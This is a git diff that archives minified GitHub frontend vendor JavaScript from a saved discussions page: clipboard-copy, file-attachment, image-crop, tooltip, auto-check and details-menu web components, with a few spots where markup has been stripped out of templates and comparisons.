F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const 